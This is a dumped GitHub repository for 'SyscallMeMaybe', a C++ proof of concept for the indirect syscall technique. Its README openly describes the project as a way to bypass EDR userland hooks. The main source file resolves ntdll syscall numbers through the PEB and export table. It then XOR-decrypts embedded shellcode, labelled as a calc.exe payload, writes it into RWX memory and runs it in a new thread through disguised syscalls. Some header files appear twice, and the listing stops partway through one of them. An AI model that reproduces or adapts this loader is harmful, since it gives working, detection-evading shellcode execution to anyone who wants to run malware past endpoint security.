├── .gitignore ├── LICENSE ├── README.md └── SyscallMeMaybe ├── Header.h ├── Structs.h ├── SyscallMeMaybe.cpp ├── SyscallMeMaybe.sln ├── SyscallMeMaybe ├── Header.h ├── Structs.h ├── SyscallMeMaybe.cpp ├── SyscallMeMaybe.sln ├── Syscalls.h └── syscall.asm ├── Syscalls.h └── syscall.asm /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | 34 | # Folders 35 | x64/ 36 | .vs/ 37 | 38 | # Visual studio 39 | *.vcxproj 40 | *.filters 41 | *.user 42 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Vincenzo 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SyscallMeMaybe? 2 | Implementation of Indirect Syscall technique to pop an innocent calc.exe 3 | 4 | ## What this is all about? 5 | Had this code for a while and only now decided to open-source it. It's nothing new, no bleeding-edge technique whatsoever, but my C++ implementation of an Indirect Syscall poc to bypass Userland hooks implemented by way too curious EDR products. 6 | 7 | ## Indirect Syscall what? 8 | As mentioned above Indirect Syscall is a technique used to avoid that EDRs sniff around the Win32 API that we need to run our very benevolent shellcode. Haven't ranted on a blog about this technique because there are a lot of resources online about it, same reason I won't be ranting about it here but just giving you this (and verbose comments in the code): 9 | 10 | 1. [Direct Syscalls VS Indirect Syscalls](https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls) 11 | 2. [SysWhisper3](https://github.com/klezVirus/SysWhispers3) 12 | 3. [Dumpert from Outflank](https://github.com/outflanknl/Dumpert) 13 | 4. [Beautiful blog by Alice Climent-Pommeret](https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/#direct-syscall-you-say-) 14 | 5. [FreshyCalls](https://github.com/crummie5/FreshyCalls) 15 | 6. [Hell's Gate paper](https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf) 16 | 17 | Also few references to learn about malware development: 18 | 19 | 1. [MaldevAcademy](https://maldevacademy.com) 20 | 2. [Sektor7](https://institute.sektor7.net/) 21 | 22 | Do not do nasty stuff with this code please. 23 | Chee(e)rs -------------------------------------------------------------------------------- /SyscallMeMaybe/Header.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | -------------------------------------------------------------------------------- /SyscallMeMaybe/Structs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | /* 5 | header file that contains our own definition of LDR_DATA_TABLE_ENTRY & PEB ( and the needed structs to define them ) 6 | */ 7 | 8 | 9 | 10 | 11 | #define STRUCTS 12 | typedef struct _ZW_ATTR { 13 | int ssn; 14 | FARPROC addr; 15 | PBYTE syscallc; 16 | 17 | }ZW_ATTR, *PZW_ATTR; 18 | 19 | typedef struct _UNICODE_STRING { 20 | USHORT Length; 21 | USHORT MaximumLength; 22 | PWSTR Buffer; 23 | } UNICODE_STRING, * PUNICODE_STRING; 24 | 25 | typedef struct _BASE_RELOCATION_ENTRY { 26 | WORD Offset : 12; // Specifies where the base relocation is to be applied. 27 | WORD Type : 4; // Indicates the type of base relocation to be applied. 28 | } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; 29 | 30 | 31 | 32 | typedef PVOID PACTIVATION_CONTEXT; 33 | typedef PVOID PRTL_USER_PROCESS_PARAMETERS; 34 | //typedef PVOID PAPI_SET_NAMESPACE; 35 | 36 | typedef struct _API_SET_NAMESPACE { 37 | ULONG Version; 38 | ULONG Size; 39 | ULONG Flags; 40 | ULONG Count; 41 | ULONG EntryOffset; 42 | ULONG HashOffset; 43 | ULONG HashFactor; 44 | } API_SET_NAMESPACE, * PAPI_SET_NAMESPACE; 45 | 46 | typedef struct _API_SET_HASH_ENTRY { 47 | ULONG Hash; 48 | ULONG Index; 49 | } API_SET_HASH_ENTRY, * PAPI_SET_HASH_ENTRY; 50 | 51 | typedef struct _API_SET_NAMESPACE_ENTRY { 52 | ULONG Flags; 53 | ULONG NameOffset; 54 | ULONG NameLength; 55 | ULONG HashedLength; 56 | ULONG ValueOffset; 57 | ULONG ValueCount; 58 | } API_SET_NAMESPACE_ENTRY, * PAPI_SET_NAMESPACE_ENTRY; 59 | 60 | typedef struct _API_SET_VALUE_ENTRY { 61 | ULONG Flags; 62 | ULONG NameOffset; 63 | ULONG NameLength; 64 | ULONG ValueOffset; 65 | ULONG ValueLength; 66 | } API_SET_VALUE_ENTRY, * PAPI_SET_VALUE_ENTRY; 67 | 68 | // https://www.nirsoft.net/kernel_struct/vista/PEB_LDR_DATA.html 69 | 70 | typedef struct _PEB_LDR_DATA { 71 | ULONG Length; 72 | ULONG Initialized; 73 | PVOID SsHandle; 74 | LIST_ENTRY InLoadOrderModuleList; 75 | LIST_ENTRY InMemoryOrderModuleList; 76 | LIST_ENTRY InInitializationOrderModuleList; 77 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 78 | 79 | 80 | 81 | // https://www.nirsoft.net/kernel_struct/vista/LDR_DATA_TABLE_ENTRY.html 82 | 83 | typedef struct _LDR_DATA_TABLE_ENTRY { 84 | LIST_ENTRY InLoadOrderLinks; 85 | LIST_ENTRY InMemoryOrderLinks; 86 | LIST_ENTRY InInitializationOrderLinks; 87 | PVOID DllBase; 88 | PVOID EntryPoint; 89 | ULONG SizeOfImage; 90 | UNICODE_STRING FullDllName; 91 | UNICODE_STRING BaseDllName; 92 | ULONG Flags; 93 | WORD LoadCount; 94 | WORD TlsIndex; 95 | union { 96 | LIST_ENTRY HashLinks; 97 | struct { 98 | PVOID SectionPointer; 99 | ULONG CheckSum; 100 | }; 101 | }; 102 | union { 103 | ULONG TimeDateStamp; 104 | PVOID LoadedImports; 105 | }; 106 | PACTIVATION_CONTEXT EntryPointActivationContext; 107 | PVOID PatchInformation; 108 | LIST_ENTRY ForwarderLinks; 109 | LIST_ENTRY ServiceTagLinks; 110 | LIST_ENTRY StaticLinks; 111 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 112 | 113 | 114 | 115 | // https://github.com/processhacker/phnt/blob/master/ntpebteb.h#L69 116 | //https://github.com/winsiderss/systeminformer/blob/2c9dd8765011a85fd98774cb37ff4ef52923d8c1/phnt/include/ntpebteb.h#L83 117 | typedef struct _PEB 118 | { 119 | BOOLEAN InheritedAddressSpace; 120 | BOOLEAN ReadImageFileExecOptions; 121 | BOOLEAN BeingDebugged; 122 | union 123 | { 124 | BOOLEAN BitField; 125 | struct 126 | { 127 | BOOLEAN ImageUsesLargePages : 1; 128 | BOOLEAN IsProtectedProcess : 1; 129 | BOOLEAN IsImageDynamicallyRelocated : 1; 130 | BOOLEAN SkipPatchingUser32Forwarders : 1; 131 | BOOLEAN IsPackagedProcess : 1; 132 | BOOLEAN IsAppContainer : 1; 133 | BOOLEAN IsProtectedProcessLight : 1; 134 | BOOLEAN IsLongPathAwareProcess : 1; 135 | }; 136 | }; 137 | 138 | HANDLE Mutant; 139 | 140 | PVOID ImageBaseAddress; 141 | PPEB_LDR_DATA Ldr; 142 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 143 | PVOID SubSystemData; 144 | PVOID ProcessHeap; 145 | PRTL_CRITICAL_SECTION FastPebLock; 146 | PSLIST_HEADER AtlThunkSListPtr; 147 | PVOID IFEOKey; 148 | 149 | union 150 | { 151 | ULONG CrossProcessFlags; 152 | struct 153 | { 154 | ULONG ProcessInJob : 1; 155 | ULONG ProcessInitializing : 1; 156 | ULONG ProcessUsingVEH : 1; 157 | ULONG ProcessUsingVCH : 1; 158 | ULONG ProcessUsingFTH : 1; 159 | ULONG ProcessPreviouslyThrottled : 1; 160 | ULONG ProcessCurrentlyThrottled : 1; 161 | ULONG ProcessImagesHotPatched : 1; // REDSTONE5 162 | ULONG ReservedBits0 : 24; 163 | }; 164 | }; 165 | union 166 | { 167 | PVOID KernelCallbackTable; 168 | PVOID UserSharedInfoPtr; 169 | }; 170 | ULONG SystemReserved; 171 | ULONG AtlThunkSListPtr32; 172 | PAPI_SET_NAMESPACE ApiSetMap; 173 | ULONG TlsExpansionCounter; 174 | PVOID TlsBitmap; 175 | ULONG TlsBitmapBits[2]; 176 | 177 | PVOID ReadOnlySharedMemoryBase; 178 | PVOID SharedData; // HotpatchInformation 179 | PVOID* ReadOnlyStaticServerData; 180 | 181 | PVOID AnsiCodePageData; // PCPTABLEINFO 182 | PVOID OemCodePageData; // PCPTABLEINFO 183 | PVOID UnicodeCaseTableData; // PNLSTABLEINFO 184 | 185 | ULONG NumberOfProcessors; 186 | ULONG NtGlobalFlag; 187 | 188 | ULARGE_INTEGER CriticalSectionTimeout; 189 | SIZE_T HeapSegmentReserve; 190 | SIZE_T HeapSegmentCommit; 191 | SIZE_T HeapDeCommitTotalFreeThreshold; 192 | SIZE_T HeapDeCommitFreeBlockThreshold; 193 | 194 | ULONG NumberOfHeaps; 195 | ULONG MaximumNumberOfHeaps; 196 | PVOID* ProcessHeaps; // PHEAP 197 | 198 | PVOID GdiSharedHandleTable; 199 | PVOID ProcessStarterHelper; 200 | ULONG GdiDCAttributeList; 201 | 202 | PRTL_CRITICAL_SECTION LoaderLock; 203 | 204 | ULONG OSMajorVersion; 205 | ULONG OSMinorVersion; 206 | USHORT OSBuildNumber; 207 | USHORT OSCSDVersion; 208 | ULONG OSPlatformId; 209 | ULONG ImageSubsystem; 210 | ULONG ImageSubsystemMajorVersion; 211 | ULONG ImageSubsystemMinorVersion; 212 | KAFFINITY ActiveProcessAffinityMask; 213 | ULONG GdiHandleBuffer[60]; 214 | PVOID PostProcessInitRoutine; 215 | 216 | PVOID TlsExpansionBitmap; 217 | ULONG TlsExpansionBitmapBits[32]; 218 | 219 | ULONG SessionId; 220 | 221 | ULARGE_INTEGER AppCompatFlags; 222 | ULARGE_INTEGER AppCompatFlagsUser; 223 | PVOID pShimData; 224 | PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA 225 | 226 | UNICODE_STRING CSDVersion; 227 | 228 | PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA 229 | PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP 230 | PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA 231 | PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP 232 | 233 | SIZE_T MinimumStackCommit; 234 | 235 | PVOID SparePointers[2]; // 19H1 (previously FlsCallback to FlsHighIndex) 236 | PVOID PatchLoaderData; 237 | PVOID ChpeV2ProcessInfo; // _CHPEV2_PROCESS_INFO 238 | 239 | ULONG AppModelFeatureState; 240 | ULONG SpareUlongs[2]; 241 | 242 | USHORT ActiveCodePage; 243 | USHORT OemCodePage; 244 | USHORT UseCaseMapping; 245 | USHORT UnusedNlsField; 246 | 247 | PVOID WerRegistrationData; 248 | PVOID WerShipAssertPtr; 249 | 250 | union 251 | { 252 | PVOID pContextData; // WIN7 253 | PVOID pUnused; // WIN10 254 | PVOID EcCodeBitMap; // WIN11 255 | }; 256 | 257 | PVOID pImageHeaderHash; 258 | union 259 | { 260 | ULONG TracingFlags; 261 | struct 262 | { 263 | ULONG HeapTracingEnabled : 1; 264 | ULONG CritSecTracingEnabled : 1; 265 | ULONG LibLoaderTracingEnabled : 1; 266 | ULONG SpareTracingBits : 29; 267 | }; 268 | }; 269 | ULONGLONG CsrServerReadOnlySharedMemoryBase; 270 | PRTL_CRITICAL_SECTION TppWorkerpListLock; 271 | LIST_ENTRY TppWorkerpList; 272 | PVOID WaitOnAddressHashTable[128]; 273 | PVOID TelemetryCoverageHeader; // REDSTONE3 274 | ULONG CloudFileFlags; 275 | ULONG CloudFileDiagFlags; // REDSTONE4 276 | CHAR PlaceholderCompatibilityMode; 277 | CHAR PlaceholderCompatibilityModeReserved[7]; 278 | struct _LEAP_SECOND_DATA* LeapSecondData; // REDSTONE5 279 | union 280 | { 281 | ULONG LeapSecondFlags; 282 | struct 283 | { 284 | ULONG SixtySecondEnabled : 1; 285 | ULONG Reserved : 31; 286 | }; 287 | }; 288 | ULONG NtGlobalFlag2; 289 | ULONGLONG ExtendedFeatureDisableMask; // since WIN11 290 | } PEB, * PPEB; 291 | 292 | 293 | 294 | 295 | 296 | #pragma once 297 | -------------------------------------------------------------------------------- /SyscallMeMaybe/SyscallMeMaybe.cpp: -------------------------------------------------------------------------------- 1 | // You got my SSN so syscall me maybe? 2 | 3 | 4 | #include 5 | #include 6 | #include "Structs.h" 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include "Syscalls.h" 13 | 14 | typedef unsigned __int64 QWORD, * PQWORD; 15 | #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) 16 | #define ZwCurrentProcess() NtCurrentProcess() 17 | 18 | //gloabl variables 19 | BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; 20 | std::unordered_map zwFunctions; 21 | //extern because they are used in the ASM code as well 22 | extern "C" DWORD SSN = 0; 23 | extern "C" QWORD SYSCALLADDR = 0; 24 | 25 | //lowercase wide string 26 | LPWSTR ToLowerCaseWIDE(LPCWSTR str) { 27 | 28 | static WCHAR lowStr[MAX_PATH]; 29 | size_t i = 0; 30 | 31 | while (str[i] != L'\0') { 32 | if (str[i] >= L'A' && str[i] <= L'Z') { 33 | lowStr[i] = str[i] + 32; // Convert uppercase to lowercase 34 | } 35 | else { 36 | lowStr[i] = str[i]; 37 | } 38 | i++; 39 | } 40 | lowStr[i] = L'\0'; 41 | return lowStr; 42 | } 43 | 44 | //return random integer within a range 45 | int randomInt(int max) { 46 | 47 | // Providing a seed value 48 | srand((unsigned)time(NULL)); 49 | // Get a random number 50 | int random = 1 + (rand() % max); 51 | return random; 52 | } 53 | 54 | //return random pair object from map, using the randomInt defined above 55 | std::pair randomMapElement(std::unordered_map zwFunctions) { 56 | 57 | auto it = zwFunctions.begin(); 58 | std::advance(it, randomInt((int)zwFunctions.size())); 59 | return *it; 60 | } 61 | 62 | //create new comparator, so that we can choose basing on what parameter we want to out the map 63 | bool sortByAddr(std::pair &a, std::pair &b) { 64 | 65 | return (a.second.addr < b.second.addr); 66 | 67 | } 68 | 69 | //sort map with custom comparator defined above 70 | std::unordered_map sortMap(std::vector> vec) { 71 | 72 | //sorting vector by memory addr 73 | sort(vec.begin(),vec.end(), sortByAddr); 74 | //assigning SSN basing on the index since addresses are sorted by now 75 | for (int i = 0; i < vec.size(); i++) { 76 | vec[i].second.ssn = i; 77 | } 78 | //creating map for easy access 79 | std::unordered_map sortedMap; 80 | for (auto& pair : vec) { 81 | // Inserting into the map with the first element (name of the function) of the pair as the key 82 | sortedMap[pair.first] = pair.second; 83 | } 84 | return sortedMap; 85 | } 86 | 87 | //retrieve syscall instructions address matching the sequence of bytes representing the syscall ops 88 | PBYTE retrieveSCAddr(PBYTE funcStar) { 89 | 90 | //we do not want to go too far if we do not find it for some reason 91 | int emergencybreak = 0; 92 | while (funcStar && emergencybreak < 2048) { 93 | //taking into account indianess crazyness 94 | if (funcStar[0] == syscall_code[0] && funcStar[1] == syscall_code[1] && funcStar[2] == syscall_code[2]) { 95 | 96 | return funcStar; 97 | } 98 | funcStar++; 99 | emergencybreak++; 100 | } 101 | return NULL; 102 | } 103 | 104 | //we all know what this is about 105 | HMODULE GetModuleHandleOb(LPCWSTR szModuleName) { 106 | 107 | PPEB pPeb = (PEB*)(__readgsqword(0x60)); 108 | 109 | 110 | PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr); 111 | PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink); 112 | 113 | while (pDte) { 114 | 115 | if (pDte->FullDllName.Length != NULL) { 116 | 117 | if (wcscmp(ToLowerCaseWIDE(pDte->FullDllName.Buffer),szModuleName)==0) { 118 | 119 | return (HMODULE)(pDte->InInitializationOrderLinks.Flink); 120 | } 121 | } 122 | else { 123 | break; 124 | } 125 | pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte); 126 | 127 | } 128 | 129 | return NULL; 130 | } 131 | 132 | //parse ntdll.dll in memory in order to retrieve all the ZwFunctions 133 | std::unordered_map findZWFunctions(IN HMODULE hModule) { 134 | 135 | PBYTE syscallAddr = NULL; 136 | std::vector> vec; 137 | PBYTE pBase = (PBYTE)hModule; 138 | PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase; 139 | 140 | if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) 141 | return {}; 142 | 143 | PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew); 144 | if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) 145 | return {}; 146 | 147 | IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader; 148 | PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 149 | 150 | PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames); 151 | PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions); 152 | PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals); 153 | 154 | for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) { 155 | 156 | CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]); 157 | //compare only first two chars 158 | if (strncmp(pFunctionName, "Zw", 2) == 0) { 159 | //retrieve the syscall opcodes address 160 | syscallAddr = retrieveSCAddr((PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]])); 161 | //initialize the struct with a null SSN 162 | ZW_ATTR attr = {0, (FARPROC)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]), syscallAddr }; 163 | //initialize the vector 164 | vec.push_back({ pFunctionName, attr }); 165 | } 166 | } 167 | //return a bella sorted hashmap 168 | return sortMap(vec); 169 | } 170 | 171 | //simple xor function 172 | VOID OBXOR(PBYTE pShellcode, SIZE_T sShellcodeSize, PBYTE bKey, SIZE_T sKeySize) { 173 | for (size_t i = 0, j = 0; i < sShellcodeSize; i++, j++) { 174 | if (j >= sKeySize) { 175 | j = 0; 176 | } 177 | pShellcode[i] = pShellcode[i] ^ bKey[j]; 178 | } 179 | } 180 | 181 | //prep syscall ops - set gloab extern variables used in the ASM code 182 | VOID prepSysCall(const char* ZwFunction) { 183 | 184 | SSN = (DWORD)zwFunctions[ZwFunction].ssn; 185 | do { 186 | SYSCALLADDR = (QWORD)randomMapElement(zwFunctions).second.syscallc; 187 | } while (SYSCALLADDR == 0); 188 | } 189 | 190 | //x64 calc exec 191 | unsigned char Payload[] = 192 | "\x56\x09\xC6\x28\x5A\xA9\x85\xCC\xAA\x41\x04\x9D\xEB\x11" 193 | "\x17\x9D\xFC\x09\x74\x1E\xCF\x09\xCE\x9E\xCA\x09\xCE\x9E" 194 | "\xB2\x09\xCE\x9E\x8A\x09\xCE\xBE\xFA\x09\x4A\x7B\xE0\x0B" 195 | "\x08\xFD\x63\x09\x74\x0C\x06\x7D\x24\xB0\xA8\x6D\x65\x8D" 196 | "\x6B\x88\x48\x8D\xAB\x80\xA7\x21\xF8\x00\x14\x84\x21\x13" 197 | "\x65\x47\xE8\x7D\x0D\xCD\x7A\xCA\xC5\x44\xAA\x41\x45\x84" 198 | "\x2F\x81\x31\xAB\xE2\x40\x95\x9C\x21\x09\x5D\x88\x21\x01" 199 | "\x65\x85\xAB\x91\xA6\x9A\xE2\xBE\x8C\x8D\x21\x75\xCD\x84" 200 | "\xAB\x97\x08\xFD\x63\x09\x74\x0C\x06\x00\x84\x05\xA7\x00" 201 | "\x44\x0D\x92\xA1\x30\x3D\xE6\x42\x09\xE8\xA2\x04\x7C\x1D" 202 | "\xDF\x99\x1D\x88\x21\x01\x61\x85\xAB\x91\x23\x8D\x21\x4D" 203 | "\x0D\x88\x21\x01\x59\x85\xAB\x91\x04\x47\xAE\xC9\x0D\xCD" 204 | "\x7A\x00\x1D\x8D\xF2\x1F\x1C\x96\xEB\x19\x04\x95\xEB\x1B" 205 | "\x0D\x4F\x46\x61\x04\x9E\x55\xA1\x1D\x8D\xF3\x1B\x0D\x47" 206 | "\xB8\xA8\x12\x33\x55\xBE\x18\x84\x10\x40\x45\xCC\xAA\x41" 207 | "\x45\xCC\xAA\x09\xC8\x41\xAB\x40\x45\xCC\xEB\xFB\x74\x47" 208 | "\xC5\xC6\xBA\x19\x11\xA1\x58\xE6\xA0\x00\xFF\x6A\x3F\xFC" 209 | "\xD8\x33\x7F\x09\xC6\x08\x82\x7D\x43\xB0\xA0\xC1\xBE\x2C" 210 | "\xDF\x44\xFE\x8B\xB9\x33\x2A\xA6\xAA\x18\x04\x45\x70\xBE" 211 | "\x90\xAF\xCB\x2D\x26\xCC"; 212 | 213 | BOOL executePayload(std::unordered_map zwFunctions, unsigned char payload[], SIZE_T payloadSize) { 214 | 215 | PVOID pAddress = NULL; 216 | SIZE_T sSize = payloadSize; 217 | NTSTATUS STATUS = 0x00; 218 | SIZE_T sNumberOfBytesWritten = NULL; 219 | HANDLE hThread = NULL; 220 | ULONG uOldProtection = NULL; 221 | 222 | prepSysCall("ZwAllocateVirtualMemory"); 223 | if ((STATUS = ZwAllocateVirtualMemory(ZwCurrentProcess(), &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) { 224 | printf("[-] Error while allocating memory. Code: %lu \n", STATUS); 225 | return FALSE; 226 | } 227 | printf("[+] Address of allocated memory: 0x%p\n", pAddress); 228 | /*--------------------------------------------------------------------*/ 229 | prepSysCall("ZwWriteVirtualMemory"); 230 | if ((STATUS = ZwWriteVirtualMemory(ZwCurrentProcess(), pAddress, payload, payloadSize, &sNumberOfBytesWritten)) != 0) { 231 | printf("[-] Error while writing virtual memory. Code: %lu \n", STATUS); 232 | return FALSE; 233 | } 234 | printf("[+] Payload written successfully\n"); 235 | /*--------------------------------------------------------------------*/ 236 | prepSysCall("ZwProtectVirtualMemory"); 237 | if ((STATUS = ZwProtectVirtualMemory(ZwCurrentProcess(), &pAddress, &payloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) { 238 | printf("[-] Error while changing memory protections. Code: %lu \n", STATUS); 239 | return FALSE; 240 | } 241 | printf("[+] Memory is now RWX\n"); 242 | /*--------------------------------------------------------------------*/ 243 | prepSysCall("ZwCreateThreadEx"); 244 | if ((STATUS = ZwCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, ZwCurrentProcess(), pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) { 245 | printf("[!] Error while creating thread. Code: %lu \n", STATUS); 246 | return FALSE; 247 | } 248 | printf("[+] Executed thread with Id : %d\n", GetThreadId(hThread)); 249 | //forgot and too lazy to indirect-syscall this one too 250 | WaitForSingleObject(hThread,0xFFFFFFFF); 251 | return TRUE; 252 | } 253 | 254 | int main() 255 | { 256 | BYTE key[] = { 0xAA, 0x41, 0x45, 0xCC }; 257 | size_t key_size = sizeof(key); 258 | //get ntdll handle 259 | HMODULE ntdllBase = GetModuleHandleOb(L"ntdll.dll"); 260 | if (ntdllBase == NULL) { 261 | std::cerr << "[-] Error while getting an handle on NTDLL.dll" << std::endl; 262 | return 1; 263 | } 264 | //fill the map with the zwfunctions objects 265 | zwFunctions = findZWFunctions(ntdllBase); 266 | if (zwFunctions.size() == 0) { 267 | std::cerr << "[-] Error while retrieving ZW functions" << std::endl; 268 | return 1; 269 | } 270 | //decrypt payload 271 | OBXOR(Payload, sizeof(Payload), key, key_size); 272 | //execute payload via indirect syscall 273 | if (executePayload(zwFunctions, Payload, sizeof(Payload))) { 274 | std::cout << "[+] Shellcode ran successufully, ciao grande!" << std::endl; 275 | } 276 | return 0; 277 | } -------------------------------------------------------------------------------- /SyscallMeMaybe/SyscallMeMaybe.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.7.34221.43 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SyscallMeMaybe", "SyscallMeMaybe.vcxproj", "{2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Debug|x64.ActiveCfg = Debug|x64 17 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Debug|x64.Build.0 = Debug|x64 18 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Debug|x86.ActiveCfg = Debug|Win32 19 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Debug|x86.Build.0 = Debug|Win32 20 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Release|x64.ActiveCfg = Release|x64 21 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Release|x64.Build.0 = Release|x64 22 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Release|x86.ActiveCfg = Release|Win32 23 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {4CD8FE2F-C211-4864-8B3B-E7498EACED11} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SyscallMeMaybe/SyscallMeMaybe/Header.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | -------------------------------------------------------------------------------- /SyscallMeMaybe/SyscallMeMaybe/Structs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | /* 5 | header file that contains our own definition of LDR_DATA_TABLE_ENTRY & PEB ( and the needed structs to define them ) 6 | */ 7 | 8 | 9 | 10 | 11 | #define STRUCTS 12 | typedef struct _ZW_ATTR { 13 | int ssn; 14 | FARPROC addr; 15 | PBYTE syscallc; 16 | 17 | }ZW_ATTR, *PZW_ATTR; 18 | 19 | typedef struct _UNICODE_STRING { 20 | USHORT Length; 21 | USHORT MaximumLength; 22 | PWSTR Buffer; 23 | } UNICODE_STRING, * PUNICODE_STRING; 24 | 25 | typedef struct _BASE_RELOCATION_ENTRY { 26 | WORD Offset : 12; // Specifies where the base relocation is to be applied. 27 | WORD Type : 4; // Indicates the type of base relocation to be applied. 28 | } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; 29 | 30 | 31 | 32 | typedef PVOID PACTIVATION_CONTEXT; 33 | typedef PVOID PRTL_USER_PROCESS_PARAMETERS; 34 | //typedef PVOID PAPI_SET_NAMESPACE; 35 | 36 | typedef struct _API_SET_NAMESPACE { 37 | ULONG Version; 38 | ULONG Size; 39 | ULONG Flags; 40 | ULONG Count; 41 | ULONG EntryOffset; 42 | ULONG HashOffset; 43 | ULONG HashFactor; 44 | } API_SET_NAMESPACE, * PAPI_SET_NAMESPACE; 45 | 46 | typedef struct _API_SET_HASH_ENTRY { 47 | ULONG Hash; 48 | ULONG Index; 49 | } API_SET_HASH_ENTRY, * PAPI_SET_HASH_ENTRY; 50 | 51 | typedef struct _API_SET_NAMESPACE_ENTRY { 52 | ULONG Flags; 53 | ULONG NameOffset; 54 | ULONG NameLength; 55 | ULONG HashedLength; 56 | ULONG ValueOffset; 57 | ULONG ValueCount; 58 | } API_SET_NAMESPACE_ENTRY, * PAPI_SET_NAMESPACE_ENTRY; 59 | 60 | typedef struct _API_SET_VALUE_ENTRY { 61 